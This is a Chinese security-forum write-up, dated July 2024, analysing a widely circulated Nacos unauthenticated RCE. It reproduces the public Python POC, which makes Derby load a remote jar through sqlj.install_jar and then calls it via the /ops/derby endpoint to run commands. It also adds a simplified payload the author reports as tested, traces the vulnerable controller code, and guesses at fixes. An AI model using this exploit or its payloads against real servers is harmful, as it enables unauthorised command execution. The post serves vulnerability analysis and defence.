问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
网传"nacos 0day"
漏洞分析
这个"nacos 0day"在今天下午(2024.7.15)在各个公众号和群疯传,漏洞作者在GitHub上给出了POC 没接触过nacos,尝试分析
网传的nacos 0day分析 =============== 前言 -- 这个"nacos 0day"在今天下午(2024.7.15)在各个公众号和群疯传,漏洞作者在GitHub上给出了[POC](https://github.com/ayoundzw/nacos-poc) 没接触过nacos,尝试分析 漏洞复现 ---- 这里直接使用给POC进行复现,并且作者给出了利用方式 因为某些原因,公开一个nacos的0day 环境准备: 下载nacos2.3.2或2.4.0版本,解压,使用 startup.cmd -m standalone 启动nacos 补充POC信息 POC是一个python项目,依赖requests和flask,请先使用requiments.txt安装依赖 1.配置config.py中的ip和端口,执行service.py,POC攻击需要启动一个jar包下载的地方,jar包里可以放任意代码,都可执行,我这里放了一个接收参数执行java命令的 2.执行exploit.py,输入地址和命令即可执行。 首先下载nacos2.3.2或2.4.0版本(我用的是2.4.0),解压然后在bin目录下运行命令`startup.cmd -m standalone` 然后修改config.py中的配置,这个配置是远程jar文件下载的地址IP和端口 ![image-20240715215040114.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-a85ec533813b7d29159a653231a5d7625e1bbc05.png) 然后运行service.py,这个脚本启动了一个http服务,服务的作用是给nacos请求下载jar,这个jar在脚本中以base64字符串的形式存在,所以在文件夹看不到jar文件。jar包里可以放任意代码,都可执行,作者放了一个接收参数执行java命令的jar。 然后再运行exploit.py,输入地址和命令即可执行(ps:我这里用的是源码启动,方便调试) ![2222.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-2c130231c377fbed06c6bd664badcf4822af43e4.png) 可以看到成功的执行了系统命令 调试环境配置 ------ 为了方便调试分析,下载源码(2.4.0)调试运行 将源码导入IDEA后,等待加载,并使用mvn完成编译,否则运行会报错确实某个类 ![33.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-0524a53e3930f29dc1be7265537f63d48a77961a.png) 然后配置运行,主类是`com.alibaba.nacos.Nacos`,并添加VM参数`-Dnacos.standalone=true`否则为集群启动 ![4.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-e8f22a6cf55c475975acf3149e684f585af2b060.png) 漏洞分析 ---- 漏洞分析从POC入手 ```python def exploit(target, command, service): removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal') derby_url = urljoin(target, '/nacos/v1/cs/ops/derby') for i in range(0,sys.maxsize): id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',8)) post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""".format(id\=id,service=service); # option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n".format(id=id,cmd=command); get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/".format(id=id,cmd=command); #get_sql = "select * from users /*ROWS FETCH NEXT*/".format(id=id,cmd=command); files = {'file': post_sql} post_resp = requests.post(url=removal_url,files=files) post_json = post_resp.json() if post_json.get('message',None) is None and post_json.get('data',None) is not None: print(post_resp.text) get_resp = requests.get(url=derby_url,params={'sql':get_sql}) print(get_resp.text) break ``` 可以看到该POC发起了两次请求 第一次请求的路径是`/nacos/v1/cs/ops/data/removal`,不难看出这请求是在上传文件,文件的内容是几条sql语句 ```php CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0) CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}') CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec' ``` id是随机字符串,service是远程下载jar的地址 第一条语句的意思是在当前数据库中安装 JAR 文件并为其分配 JAR 标识符id 第二条语句是调用SYSCS\_UTIL.SYSCS\_SET\_DATABASE\_PROPERTY方法,它是Apache Derby数据库用来设置数据库属性的方法,这里将`derby.database.classpath`属性设置为`'NACOS.{id}'`,将刚刚下载的JAR文件添加到数据库的类路径中,使得数据库能够使用JAR中的Java类 第三条语句是创建了一个名为`S_EXAMPLE_{id}`的数据库函数,它接受一个`VARCHAR(2000)`类型的参数并返回一个`VARCHAR(2000)`类型的结果。这个函数使用Java语言编写,并且是外部的,即它的实现在数据库外部的Java代码中。`PARAMETER STYLE JAVA`指示函数的参数风格与Java方法的参数风格一致。`NO SQL`表示这个函数不执行任何SQL语句。`LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'`指定了外部Java方法的完全限定名,即这个函数映射到`test.poc.Example`类的`exec`静态方法 所以这几句sql语句就是为了远程jar能够运行,只差调用`test.poc.Example.exec` 在IDEA搜索路径`/v1/cs/ops/data/removal`很容易的找到上传逻辑代码在`com/alibaba/nacos/config/server/controller/ConfigOpsController.java` ![5.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-a3ac3510dd74e3dca3d62a3bd7f4b8c5fb7db2d9.png) 首先进行模式检测启动模式`DatasourceConfiguration.isEmbeddedStorage()` ,跟进看了一下,似乎是前面所说的`-Dnacos.standalone=true` ,所以过if判断 然后往下就是除了上传的文件的逻辑了,没有什么特殊的处理,返回上传结果 来到第二个请求,`/nacos/v1/cs/ops/derby`,通过GET的方式传入参数sql ```sql select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/ ``` 这个是一个sql语句嵌套,子查询中调用了前面定义的函数S\_EXAMPLE\_{id},并传入参数cmd ,如果sql语句运行了久能够调用Jar中的`test.poc.Example.exec`方法 同样的方式找到代码: ![6.png](https://shs3.b.qianxin.com/attack_forum/2024/07/attach-fe8c9a9662235c847f9cb29f45293bea506216a3.png) 这里再运行sql语句前,要经过三个判断 第一个是模式判断,和前面的一样 第二个是sql语句必须以`SELECT`开头,忽略大小写 第三个是sql语句必须存在字符串`ROWS FETCH NEXT` ,这个很好的解释了为什么要加`/*ROWS FETCH NEXT*/`,`/**/`是注释 在`List<Map<String, Object>> result = template.queryForList(sql);`中执行sql语句并返回了结果 按照分析,不需要嵌套外层sql语句,将payload改成如下即可,亲测可用 ```sql select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info/*ROWS FETCH NEXT*/ ``` 猜测的修复方案 ------- 1.未授权访问修复:按照POC两个请求都不需要授权就能访问,这是个很重要的点,修复大概率会出现在这里 2.sql语句过滤:这里猜测会对sqlj.install\_jar()进行现在,还有一些特殊符号,即sql注释`/**/` 参考 -- [https://help.hcltechsw.com/onedb/2.0.1/sqs/ids\\\_sqs\\\_1808.html](https://help.hcltechsw.com/onedb/2.0.1/sqs/ids%5C_sqs%5C_1808.html) <https://github.com/ayoundzw/nacos-poc>
发表于 2024-07-17 09:55:04
阅读 ( 6205 )
分类:
Web应用
3 推荐
收藏
0 条评论
请先
登录
后评论
Stree
果农
5 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!